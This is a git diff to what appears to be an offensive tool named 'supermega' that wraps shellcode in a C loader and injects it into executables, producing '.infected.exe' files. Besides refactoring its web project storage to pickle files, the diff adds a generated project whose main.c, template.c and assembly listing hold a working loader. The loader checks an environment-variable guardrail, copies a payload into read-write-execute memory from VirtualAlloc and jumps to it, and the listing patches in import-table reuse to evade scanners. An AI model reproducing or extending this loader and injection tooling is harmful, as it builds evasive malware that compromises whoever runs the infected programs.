diff --git a/.gitignore b/.gitignore
index 2f11bbf..bb6064b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -10,3 +10,4 @@ data/source/payload/
log-*
*.verify.exe
*.infected.exe
+projects/*
\ No newline at end of file
diff --git a/app/storage.py b/app/storage.py
index 04a5d6f..a9e037e 100644
--- a/app/storage.py
+++ b/app/storage.py
@@ -1,50 +1,57 @@
import pickle
import os
import yaml
+import pickle
from typing import List, Tuple
from model.settings import Settings
from model.defs import *
-class Project():
+
+class WebProject():
def __init__(self, name: str, settings: Settings):
self.name = name
self.settings: Settings = settings
+ self.comment: str = ""
class Storage():
def __init__(self):
- self.data: List[Project] = self.get_data()
+ pass
- def get_project(self, name: str) -> Project:
- for project in self.data:
- if project.name == name:
- return project
- return None
+
+ def get_projects(self) -> List[WebProject]:
+ projects: List[WebProject] = []
+ for project_name in os.listdir(PATH_WEB_PROJECT):
+ project = self.get_project(project_name)
+ if project is None:
+ continue
+ project.settings.prep_web(project_name)
+ projects.append(project)
+ return projects
- def add_project(self, project: Project):
- # data
- self.data.append(project)
- self.save_data()
+ def get_project(self, project_name: str) -> WebProject:
+ path = "{}/{}".format(PATH_WEB_PROJECT, project_name)
+ json_path = "{}/project.pickle".format(path)
+ if not os.path.exists(json_path):
+ return None
+ with open(json_path, "rb") as f:
+ project = pickle.load(f)
+ project.settings.prep_web(project_name)
+ return project
+
+
+ def add_project(self, project: WebProject):
# directories and contents
os.makedirs(PATH_WEB_PROJECT + project.name, exist_ok=True)
- with open("{}/{}/settings.yaml".format(PATH_WEB_PROJECT, project.name), "w") as f:
- f.write(yaml.dump(project.settings))
+ with open("{}/{}/project.pickle".format(PATH_WEB_PROJECT, project.name), "wb") as f:
+ pickle.dump(project, f)
- def get_data(self) -> List[Project]:
- # if file does not exist, create an empty one
- if not os.path.exists("app/data.pickle"):
- with open("app/data.pickle", "wb") as f:
- f.write(pickle.dumps([]))
- with open("app/data.pickle", "rb") as f:
- data_raw = f.read()
- data: List[Project] = pickle.loads(data_raw)
- return data
+ def save_project(self, project: WebProject):
+ with open("{}/{}/project.pickle".format(PATH_WEB_PROJECT, project.name), "wb") as f:
+ pickle.dump(project, f)
- def save_data(self):
- with open("app/data.pickle", "wb") as f:
- f.write(pickle.dumps(self.data))
storage = Storage()
\ No newline at end of file
diff --git a/app/templates/projects.html b/app/templates/projects.html
index 15e2653..17ccbab 100644
--- a/app/templates/projects.html
+++ b/app/templates/projects.html
@@ -11,8 +11,8 @@
Projects
diff --git a/app/views.py b/app/views.py
index b44398c..016453c 100644
--- a/app/views.py
+++ b/app/views.py
@@ -19,7 +19,7 @@ from config import config
from model.settings import Settings
from model.defs import *
from supermega import start
-from app.storage import storage, Project
+from app.storage import storage, WebProject
from sender import scannerDetectsBytes
from phases.injector import verify_injected_exe
from phases.compiler import compile_dev
@@ -38,12 +38,13 @@ logger = logging.getLogger("Views")
@views.route("/")
def index():
- return render_template('index.html', data=storage.data)
+ return render_template('index.html')
@views.route("/projects")
def projects_route():
- return render_template('projects.html', data=storage.data)
+ projects = storage.get_projects()
+ return render_template('projects.html', projects=projects)
@views.route("/shcdev")
@@ -124,7 +125,6 @@ def dev_build_route(name):
@views.route("/project/")
def project(name):
project = storage.get_project(name)
- project.settings.prep()
log_files = get_logfiles(project.settings.main_dir)
exes = []
@@ -169,6 +169,8 @@ def add_project():
if request.form['shellcode'] == "createfile.bin":
settings.verify = True
settings.try_start_final_infected_exe = False
+ else:
+ settings.cleanup_files_on_exit = False
settings.inject_exe_in = PATH_EXES + request.form['exe']
settings.inject_exe_out = PATH_EXES + request.form['exe'].replace(".exe", ".infected.exe")
@@ -193,16 +195,13 @@ def add_project():
project = storage.get_project(project_name)
project.settings = settings
project.comment = comment
+ storage.save_project(project)
else:
# add new project
- project = Project(project_name, settings)
- project.project_dir = PATH_WEB_PROJECT + "{}".format(project_name)
- project.project_exe = request.form['exe'].replace(".exe", ".infected.exe")
- project.settings = settings
- settings.project_name = project_name
+ project = WebProject(project_name, settings)
project.comment = comment
storage.add_project(project)
- storage.save_data()
+
return redirect("/project/{}".format(project_name), code=302)
else: # GET
@@ -231,9 +230,9 @@ def add_project():
)
-def supermega_thread(project: Project):
+def supermega_thread(settings: Settings):
global thread_running
- start(project.settings)
+ start(settings)
thread_running = False
@@ -244,7 +243,22 @@ def build_project(project_name):
project = storage.get_project(project_name)
project.settings.try_start_final_infected_exe = False
- thread = Thread(target=supermega_thread, args=(project, ))
+ src = "{}{}/".format(PATH_CARRIER, project.settings.source_style.value)
+ dst = "{}{}/".format(PATH_WEB_PROJECT, project_name)
+
+ # delete all files in dst directory
+ for file in os.listdir(dst):
+ if file == "project.pickle":
+ continue
+ os.remove(dst + file)
+
+ # copy *.c *.h files from src directory to dst directory
+ for file in os.listdir(src):
+ if file.endswith(".c") or file.endswith(".h"):
+ logger.info("Copy {} to {}".format(src + file, dst))
+ shutil.copy2(src + file, dst)
+
+ thread = Thread(target=supermega_thread, args=(project.settings, ))
thread.start()
thread_running = True
diff --git a/helper.py b/helper.py
index 9385282..e17c66e 100644
--- a/helper.py
+++ b/helper.py
@@ -13,15 +13,20 @@ logger = logging.getLogger("Helper")
SHC_VERIFY_SLEEP = 0.1
-def clean_files(settings):
- logger.info("--( Remove old files")
-
+def clean_tmp_files():
files_to_clean = [
# compile artefacts in current working dir
"main-clean.obj",
"main.obj",
"mllink$.lnk",
+ ]
+ for file in files_to_clean:
+ pathlib.Path(file).unlink(missing_ok=True)
+def clean_files(settings):
+ logger.info("--( Remove old files")
+
+ files_to_clean = [
# temporary files
settings.main_c_path,
settings.main_asm_path,
diff --git a/model/defs.py b/model/defs.py
index 4d14c82..50957bd 100644
--- a/model/defs.py
+++ b/model/defs.py
@@ -10,12 +10,13 @@ VerifyFilename: FilePath = r'C:\Temp\a'
# Directory structure
PATH_EXES = "data/binary/exes/"
PATH_SHELLCODES = "data/binary/shellcodes/"
+PATH_CARRIER = "data/source/carrier/"
PATH_PEB_WALK = "data/source/carrier/peb_walk/"
PATH_IAT_REUSE = "data/source/carrier/iat_reuse/"
PATH_PAYLOAD = "data/source/payload/"
PATH_DECODER = "data/source/carrier/decoder/"
-PATH_WEB_PROJECT = "app/projects/" # web only
+PATH_WEB_PROJECT = "projects/"
# Correlated with real template files
diff --git a/model/settings.py b/model/settings.py
index 848ef57..d4d21aa 100644
--- a/model/settings.py
+++ b/model/settings.py
@@ -2,7 +2,7 @@ from model.defs import *
class Settings():
- def __init__(self):
+ def __init__(self, web=""):
self.payload_path: FilePath = ""
# Settings
@@ -29,10 +29,20 @@ class Settings():
def prep(self):
- self.main_dir = "data/source/carrier/" + self.source_style.value + "/"
-
+ self.main_dir = "{}{}/".format(PATH_CARRIER, self.source_style.value)
self.template_path = self.main_dir + "template.c"
self.main_c_path = self.main_dir + "main.c"
self.main_asm_path = self.main_dir + "main.asm"
self.main_exe_path = self.main_dir + "main.exe"
self.main_shc_path = self.main_dir + "main.bin"
+
+
+ def prep_web(self, project_name):
+ self.main_dir = "{}{}/".format(PATH_WEB_PROJECT, project_name)
+ self.template_path = self.main_dir + "template.c"
+ self.main_c_path = self.main_dir + "main.c"
+ self.main_asm_path = self.main_dir + "main.asm"
+ self.main_exe_path = self.main_dir + "main.exe"
+ self.main_shc_path = self.main_dir + "main.bin"
+ self.inject_exe_out = "{}{}".format(
+ self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe"))
diff --git a/observer.py b/observer.py
index 7ca326b..e38ec18 100644
--- a/observer.py
+++ b/observer.py
@@ -16,6 +16,7 @@ class Observer():
def reset(self):
self.cmd_output = []
self.logs = []
+ self.files = []
self.idx = 0
diff --git a/projects/.gitkeep b/projects/.gitkeep
new file mode 100644
index 0000000..e69de29
diff --git a/projects/Verify_1/main.asm b/projects/Verify_1/main.asm
new file mode 100644
index 0000000..ea66fdb
--- /dev/null
+++ b/projects/Verify_1/main.asm
@@ -0,0 +1,246 @@
+; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0
+
+include listing.inc
+
+; INCLUDELIB LIBCMT
+
+; INCLUDELIB OLDNAMES
+
+
+_DATA SEGMENT
+COMM supermega_payload:QWORD
+_DATA ENDS
+PUBLIC get_time_raw
+PUBLIC sleep_ms
+PUBLIC main
+PUBLIC mystrcmp
+; EXTRN __imp_GetEnvironmentVariableW:PROC
+; EXTRN __imp_VirtualAlloc:PROC
+_DATA SEGMENT
+$SG72751 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
+ DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
+$SG72752 DB 'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H
+ DB 'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k'
+ DB 00H, 'e', 00H, 'r', 00H, 00H, 00H
+_DATA ENDS
+
+PUBLIC AlignRSP
+_TEXT SEGMENT
+AlignRSP PROC
+and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
+call main ; Call the entry point of the payload
+AlignRSP ENDP
+_TEXT ENDS
+_TEXT SEGMENT
+i$ = 0
+str1$ = 32
+str2$ = 40
+mystrcmp PROC
+; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c
+; Line 58
+$LN6:
+ mov QWORD PTR [rsp+16], rdx
+ mov QWORD PTR [rsp+8], rcx
+ sub rsp, 24
+; Line 59
+ mov DWORD PTR i$[rsp], 0
+$LN2@mystrcmp:
+; Line 60
+ movsxd rax, DWORD PTR i$[rsp]
+ mov rcx, QWORD PTR str1$[rsp]
+ movzx eax, WORD PTR [rcx+rax*2]
+ test eax, eax
+ je SHORT $LN3@mystrcmp
+ movsxd rax, DWORD PTR i$[rsp]
+ mov rcx, QWORD PTR str2$[rsp]
+ movzx eax, WORD PTR [rcx+rax*2]
+ test eax, eax
+ je SHORT $LN3@mystrcmp
+; Line 61
+ movsxd rax, DWORD PTR i$[rsp]
+ mov rcx, QWORD PTR str1$[rsp]
+ movzx eax, WORD PTR [rcx+rax*2]
+ movsxd rcx, DWORD PTR i$[rsp]
+ mov rdx, QWORD PTR str2$[rsp]
+ movzx ecx, WORD PTR [rdx+rcx*2]
+ cmp eax, ecx
+ je SHORT $LN4@mystrcmp
+; Line 62
+ mov eax, 1
+ jmp SHORT $LN1@mystrcmp
+$LN4@mystrcmp:
+; Line 64
+ mov eax, DWORD PTR i$[rsp]
+ inc eax
+ mov DWORD PTR i$[rsp], eax
+; Line 65
+ jmp SHORT $LN2@mystrcmp
+$LN3@mystrcmp:
+; Line 66
+ xor eax, eax
+$LN1@mystrcmp:
+; Line 67
+ add rsp, 24
+ ret 0
+mystrcmp ENDP
+_TEXT ENDS
+; Function compile flags: /Odtp
+_TEXT SEGMENT
+n$1 = 32
+result$ = 36
+dest$ = 40
+envVarName$ = 48
+tocheck$ = 72
+buffer$ = 112
+main PROC
+; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c
+; Line 23
+$LN8:
+ push rsi
+ push rdi
+ sub rsp, 2168 ; 00000878H
+; Line 29
+ lea rax, QWORD PTR envVarName$[rsp]
+ DB 024H, 0d1H, 0b7H, 05aH, 004H, 04cH, 020H ; .rdata Reuse for $SG72751 (rcx)
+ mov rdi, rax
+ mov rsi, rcx
+ mov ecx, 24
+ rep movsb
+; Line 30
+ lea rax, QWORD PTR tocheck$[rsp]
+ DB 01cH, 088H, 026H, 0deH, 0f0H, 0d2H, 0d4H ; .rdata Reuse for $SG72752 (rcx)
+ mov rdi, rax
+ mov rsi, rcx
+ mov ecx, 32 ; 00000020H
+ rep movsb
+; Line 32
+ mov r8d, 1024 ; 00000400H
+ lea rdx, QWORD PTR buffer$[rsp]
+ lea rcx, QWORD PTR envVarName$[rsp]
+ DB 06fH, 0c8H, 0f2H, 0e0H, 041H, 089H ; IAT Reuse for GetEnvironmentVariableW
+ mov DWORD PTR result$[rsp], eax
+; Line 33
+ cmp DWORD PTR result$[rsp], 0
+ jne SHORT $LN5@main
+; Line 34
+ mov eax, 6
+ jmp SHORT $LN1@main
+$LN5@main:
+; Line 36
+ lea rdx, QWORD PTR tocheck$[rsp]
+ lea rcx, QWORD PTR buffer$[rsp]
+ call mystrcmp
+ test eax, eax
+ je SHORT $LN6@main
+; Line 37
+ mov eax, 6
+ jmp SHORT $LN1@main
+$LN6@main:
+; Line 42
+ mov r9d, 64 ; 00000040H
+ mov r8d, 12288 ; 00003000H
+ mov edx, 272 ; 00000110H
+ xor ecx, ecx
+ DB 078H, 00eH, 02fH, 0edH, 0fbH, 0c4H ; IAT Reuse for VirtualAlloc
+ mov QWORD PTR dest$[rsp], rax
+; Line 47
+ mov DWORD PTR n$1[rsp], 0
+ jmp SHORT $LN4@main
+$LN2@main:
+ mov eax, DWORD PTR n$1[rsp]
+ inc eax
+ mov DWORD PTR n$1[rsp], eax
+$LN4@main:
+ cmp DWORD PTR n$1[rsp], 272 ; 00000110H
+ jge SHORT $LN3@main
+; Line 48
+ movsxd rax, DWORD PTR n$1[rsp]
+ movsxd rcx, DWORD PTR n$1[rsp]
+ mov rdx, QWORD PTR dest$[rsp]
+ lea rdi, [shcstart] ; get payload shellcode address
+ movzx eax, BYTE PTR [rdi+rax]
+ mov BYTE PTR [rdx+rcx], al
+; Line 49
+ jmp SHORT $LN2@main
+$LN3@main:
+; Line 53
+ call QWORD PTR dest$[rsp]
+; Line 55
+ xor eax, eax
+$LN1@main:
+; Line 56
+ add rsp, 2168 ; 00000878H
+ pop rdi
+ pop rsi
+ ret 0
+main ENDP
+_TEXT ENDS
+; Function compile flags: /Odtp
+_TEXT SEGMENT
+start$ = 32
+sleeptime$ = 64
+sleep_ms PROC
+; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c
+; Line 17
+$LN5:
+ mov DWORD PTR [rsp+8], ecx
+ sub rsp, 56 ; 00000038H
+; Line 18
+ call get_time_raw
+ mov DWORD PTR start$[rsp], eax
+$LN2@sleep_ms:
+; Line 19
+ call get_time_raw
+ sub eax, DWORD PTR start$[rsp]
+ cmp eax, DWORD PTR sleeptime$[rsp]
+ jae SHORT $LN3@sleep_ms
+ jmp SHORT $LN2@sleep_ms
+$LN3@sleep_ms:
+; Line 20
+ add rsp, 56 ; 00000038H
+ ret 0
+sleep_ms ENDP
+_TEXT ENDS
+; Function compile flags: /Odtp
+_TEXT SEGMENT
+kernelTime$ = 0
+PUserSharedData_TickCountMultiplier$ = 8
+PUserSharedData_High1Time$ = 16
+PUserSharedData_LowPart$ = 24
+get_time_raw PROC
+; File C:\Users\hacker\source\repos\supermega\projects\Verify_1\main.c
+; Line 7
+$LN3:
+ sub rsp, 40 ; 00000028H
+; Line 8
+ mov QWORD PTR PUserSharedData_TickCountMultiplier$[rsp], 2147352580 ; 7ffe0004H
+; Line 9
+ mov QWORD PTR PUserSharedData_High1Time$[rsp], 2147353380 ; 7ffe0324H
+; Line 10
+ mov QWORD PTR PUserSharedData_LowPart$[rsp], 2147353376 ; 7ffe0320H
+; Line 11
+ mov rax, QWORD PTR PUserSharedData_High1Time$[rsp]
+ mov eax, DWORD PTR [rax]
+ shl eax, 8
+ mov rcx, QWORD PTR PUserSharedData_TickCountMultiplier$[rsp]
+ mov ecx, DWORD PTR [rcx]
+ imul ecx, eax
+ mov eax, ecx
+ mov eax, eax
+ mov rcx, QWORD PTR PUserSharedData_LowPart$[rsp]
+ mov ecx, DWORD PTR [rcx]
+ mov rdx, QWORD PTR PUserSharedData_TickCountMultiplier$[rsp]
+ mov edx, DWORD PTR [rdx]
+ imul rcx, rdx
+ shr rcx, 24
+ add rax, rcx
+ mov DWORD PTR kernelTime$[rsp], eax
+; Line 13
+ mov eax, DWORD PTR kernelTime$[rsp]
+; Line 14
+ add rsp, 40 ; 00000028H
+ ret 0
+get_time_raw ENDP
+shcstart: ; start of payload shellcode
+_TEXT ENDS
+END
diff --git a/projects/Verify_1/main.bin b/projects/Verify_1/main.bin
new file mode 100644
index 0000000..0f0c85e
Binary files /dev/null and b/projects/Verify_1/main.bin differ
diff --git a/projects/Verify_1/main.c b/projects/Verify_1/main.c
new file mode 100644
index 0000000..3a2d2c4
--- /dev/null
+++ b/projects/Verify_1/main.c
@@ -0,0 +1,67 @@
+#include
+
+#include
+
+char *supermega_payload;
+
+int get_time_raw() {
+ ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
+ LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
+ ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
+ DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
+ ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
+ return kernelTime;
+}
+
+
+int sleep_ms(DWORD sleeptime) {
+ DWORD start = get_time_raw();
+ while (get_time_raw() - start < sleeptime) {}
+}
+
+int main()
+{
+ //sleep_ms(10000);
+
+ // Execution Guardrail: Env Check
+ //wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
+ //wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
+ wchar_t envVarName[] = L"USERPROFILE";
+ wchar_t tocheck[] = L"C:\\Users\\hacker";
+ WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
+ DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024);
+ if (result == 0) {
+ return 6;
+ }
+ if (mystrcmp(buffer, tocheck) != 0) {
+ return 6;
+ }
+
+ // Allocate 1
+ // char *dest = ...
+ char *dest = VirtualAlloc(NULL, 272, 0x3000, 0x40);
+
+ // Copy (and decode)
+ // from: supermega_payload[]
+ // to: dest[]
+ for (int n=0; n<272; n++) {
+ dest[n] = supermega_payload[n];
+ }
+
+
+ // Execute *dest
+ (*(void(*)())(dest))();
+
+ return 0;
+}
+
+int mystrcmp(wchar_t* str1, wchar_t* str2) {
+ int i = 0;
+ while (str1[i] != L'\0' && str2[i] != L'\0') {
+ if (str1[i] != str2[i]) {
+ return 1;
+ }
+ i++;
+ }
+ return 0;
+}
\ No newline at end of file
diff --git a/projects/Verify_1/main.exe b/projects/Verify_1/main.exe
new file mode 100644
index 0000000..c95258b
Binary files /dev/null and b/projects/Verify_1/main.exe differ
diff --git a/projects/Verify_1/project.pickle b/projects/Verify_1/project.pickle
new file mode 100644
index 0000000..fe3f5d5
Binary files /dev/null and b/projects/Verify_1/project.pickle differ
diff --git a/projects/Verify_1/template.c b/projects/Verify_1/template.c
new file mode 100644
index 0000000..44939c0
--- /dev/null
+++ b/projects/Verify_1/template.c
@@ -0,0 +1,65 @@
+#include
+
+#include
+
+char *supermega_payload;
+
+int get_time_raw() {
+ ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
+ LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
+ ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
+ DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
+ ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
+ return kernelTime;
+}
+
+
+int sleep_ms(DWORD sleeptime) {
+ DWORD start = get_time_raw();
+ while (get_time_raw() - start < sleeptime) {}
+}
+
+int main()
+{
+ //sleep_ms(10000);
+
+ // Execution Guardrail: Env Check
+ //wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
+ //wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
+ wchar_t envVarName[] = L"USERPROFILE";
+ wchar_t tocheck[] = L"C:\\Users\\hacker";
+ WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
+ DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024);
+ if (result == 0) {
+ return 6;
+ }
+ if (mystrcmp(buffer, tocheck) != 0) {
+ return 6;
+ }
+
+ // Allocate 1
+ // char *dest = ...
+ char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
+
+ // Copy (and decode)
+ // from: supermega_payload[]
+ // to: dest[]
+{{ plugin_decoder }}
+
+
+ // Execute *dest
+ (*(void(*)())(dest))();
+
+ return 0;
+}
+
+int mystrcmp(wchar_t* str1, wchar_t* str2) {
+ int i = 0;
+ while (str1[i] != L'\0' && str2[i] != L'\0') {
+ if (str1[i] != str2[i]) {
+ return 1;
+ }
+ i++;
+ }
+ return 0;
+}
diff --git a/supermega.py b/supermega.py
index 1183052..5d05969 100644
--- a/supermega.py
+++ b/supermega.py
@@ -96,6 +96,7 @@ def main():
settings.inject_exe_in = args.inject
settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe")
+ settings.prep()
exit_code = start(settings)
exit(exit_code)
@@ -103,16 +104,15 @@ def main():
def start(settings: Settings) -> int:
"""Main entry point for the application. Will handle log files and cleanup"""
- settings.prep()
-
# Delete: all old files
+ clean_tmp_files()
if settings.cleanup_files_on_start:
clean_files(settings)
# And logs
observer.reset()
- # Do the thing and catch errors
+ # Do the thing and catch the errors
try:
start_real(settings)
except Exception as e:
@@ -121,6 +121,7 @@ def start(settings: Settings) -> int:
return 1
# Cleanup files
+ clean_tmp_files()
if settings.cleanup_files_on_exit:
clean_files(settings)